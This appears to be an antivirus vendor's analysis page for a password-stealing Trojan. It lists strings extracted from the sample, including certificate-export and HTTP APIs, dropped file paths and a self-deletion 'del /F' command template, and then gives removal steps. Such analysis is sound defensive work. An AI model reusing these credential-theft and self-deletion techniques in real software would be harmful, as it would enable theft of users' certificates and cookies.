del /F "%s"
w%fkN
t.Ht$HHt
L$$
m9.td
zcÁ
ntdll.dll
KERNEL32.dll
ExitWindowsEx
GetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
CryptGetKeyParam
CryptImportKey
CryptDestroyKey
RegCreateKeyExW
RegCloseKey
RegQueryInfoKeyW
RegDeleteKeyW
RegOpenKeyExW
RegFlushKey
RegEnumKeyExW
ADVAPI32.dll
UrlUnescapeA
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
ole32.dll
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
PFXImportCertStore
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpEndRequestA
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
IPHLPAPI.DLL
VERSION.dll
msvcrt.dll
9 9$9(9,9094989
> >$>(>,>0>4>|>
00D0K0_0q0z0
:!:(:,:1:8:^:
\StringFileInfo\xx\%s
urlmon.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s
kernel32.dll
launchpadshell.exe
dirclt32.exe
wtng.exe
prologue.exe
pcsws.exe
fdmaster.exe
shell32.dll
cabinet.dll
Wadvapi32.dll
"%s" %s
/c "%s"
%Documents and Settings%\%current user%\Application Data
%Documents and Settings%\%current user%\Local Settings\Application Data
Global\{3D6E1BE3-083C-4088-F013-F140DE00D252}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    ecyche.exe:1628
    %original file name%.exe:1732
    sewer.exe:1824
    pdfupdate.exe:468

  3. Delete the original Trojan-PSW file.
  4. Delete or disinfect the following files created/modified by the Trojan-PSW:

    %Documents and Settings%\%current user%\NTUSER.DAT.LOG (7448 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\pdfupdate.exe (19 bytes)
    %Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
    %Documents and Settings%\%current user%\Application Data\Idaz\ecyche.exe (2491 bytes)
    %Documents and Settings%\%current user%\Cookies\[email protected][1].txt (628 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\FIO84F8.bat (173 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\al0302[1].enc (1610 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\sewer.exe (1667 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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